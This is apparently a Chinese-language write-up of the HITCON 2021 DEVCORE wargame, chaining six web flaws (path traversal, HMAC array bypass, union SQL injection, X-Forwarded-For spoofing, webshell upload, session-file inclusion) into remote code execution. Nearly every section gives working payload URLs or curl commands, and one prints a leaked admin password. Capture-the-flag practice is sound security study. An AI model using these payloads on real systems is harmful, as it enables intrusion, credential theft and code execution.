HITCON 2021 - DEVCORE Wargame Writeups
官方 src : https://github.com/DEVCORE-Wargame/HITCON-2021
沒想到自己也能有把 DEVCORE 題目破台的一天 痛哭流涕 QQ

雖然我是照弱點順序寫 writeup
但其實我在打的的時候是 1 -> 3 -> 4 -> 5 -> 6 -> 2
完全忽略了 broken access 這個超常見的洞然後找不到 flag XD
弱點 01:Path Traversal
從 image.php 的 GET 變數 id 可以發現是 base64 後的檔案名稱
猜測可以進行 LFI
用 http://web.ctf.devcore.tw/image.php?id=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== 驗證可以取得 /etc/passwd
但我們不知道 web root 位置
因此使用 /proc/self/cwd/
最後發現 flag 在 include.php 中
- payload
1
http://web.ctf.devcore.tw/image.php?id=Li4vLi4vLi4vLi4vcHJvYy9zZWxmL2N3ZC9pbmNsdWRlLnBocA==

- flag :
DEVCORE{no.1_path_traverse_to_the_m00n}
弱點 02:Broken Access Control
這邊其實我是 RCE 才回頭撈 db 的 wwwww
原本思路應該是
從 order.php 中可以看到傳入的 GET 參數 sig 被傳進 get_sig_hash() 後跟 db 內的 sig_hash 比較
在條件中 先檢查了 hash_sig 後才跟 db 比較get_sig_hash() 最後是返回 hash_hmac() 的結果
如果傳進去的 data 是一個陣列而不是一個字串則會返回 false 從而繞過比較
- payload
1
http://web.ctf.devcore.tw/order.php?id=1&sig[]=aaa

- flag :
DEVCORE{no.2_bre8k_acc3ss_c0ntrol}
弱點 03:SQL Injection
從 print.php 中可以發現未對 GET 變數 id 進行過濾
且直接將 id 串接至 sql 語句
利用 union based leak 出所有 db 結構
1 | http://web.ctf.devcore.tw/print.php?sig=1&id=-1%20union%20select%201,2,group_concat(column_name),4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_name=%27items%27 |
web
- items
- id,title,description
- rate_limit
- ip,last_visit,visit_times
- orders
- id,name,email,phone,status,sig_hash,order_date,address,note
- options
- key,value
- backend_users
- id,username,password,description
- items
payload
1
http://web.ctf.devcore.tw/print.php?sig=1&id=-1%20union%20select%201,2,group_concat(description),4,5,6,7,8,9%20from%20backend_users
admin creds
admin:u=479_p5jV:Fsq(2

- flag :
DEVCORE{no.3_sql_injection_my_passw0rd_is_y0urs}
弱點 04:Use of Less Trusted Source
從 /proc/self/mounts leak 出的後台地址位於 /usr/share/nginx/b8ck3nd/
並且得知後台的include.php 中有檢查連線 IP 是否來自指定 IP
可以透過 X-Forwarded-For 偽造
並且只用弱點 03 得到的 admin 帳密進行登入
- payload
1
curl -H "X-Forwarded-For: 127.0.0.1" -b "PHPSESSID=dvcj3di7tqkfl3p67qikjvnckh" "http://web.ctf.devcore.tw/b8ck3nd/"

- flag :
DEVCORE{no.4_x-forward-for_2b_or_n0t_2b}
弱點 05:Unrestricted File Upload
在 /b8ck3nd/upload.php 中
存在 POST 變數 rename 跟 folder 可以自訂檔名以及路徑
上傳 webshell 後就彈出 flag 了
- payload
1
curl -X POST -H "X-Forwarded-For: 127.0.0.1" -b "PHPSESSID=dvcj3di7tqkfl3p67qikjvnckh" -F "file=@chess.php" -F "rename=chess.php" -F "folder=../../../../tmp" "http://web.ctf.devcore.tw/b8ck3nd/upload.php"

- flag :
DEVCORE{no.5_file_uploaded_wheres_my_sh3ll}
弱點 06:Local File Inclusion
利用弱點 05 覆蓋自己的 session
利用 include.php 中會對 $_SESSION['lang'] 進行 include
寫入 web shell 且複寫 session file 達到 RCE
sess_xxx
lang|s:27:"../../../../../../tmp/chess";payload
1
curl -X POST -b "PHPSESSID=dvcj3di7tqkfl3p67qikjvnckh" -H "X-Forwarded-For: 127.0.0.1" -F "file=@sess_dvcj3di7tqkfl3p67qikjvnckh" -F "rename=sess_dvcj3di7tqkfl3p67qikjvnckh" -F "folder=../../../../tmp" "http://web.ctf.devcore.tw/b8ck3nd/upload.php"
1
http://web.ctf.devcore.tw/?cmd=/readflag

- flag :
DEVCORE{no.6_local_file_include_t0_rescu3}